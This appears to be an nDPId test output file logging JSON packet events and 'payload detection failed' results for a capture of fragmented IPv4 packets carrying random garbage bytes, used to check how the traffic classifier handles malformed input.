+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129757,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129804,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129888,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129908,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129957,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129981,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130005,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130028,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130099,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130111,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130221,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} 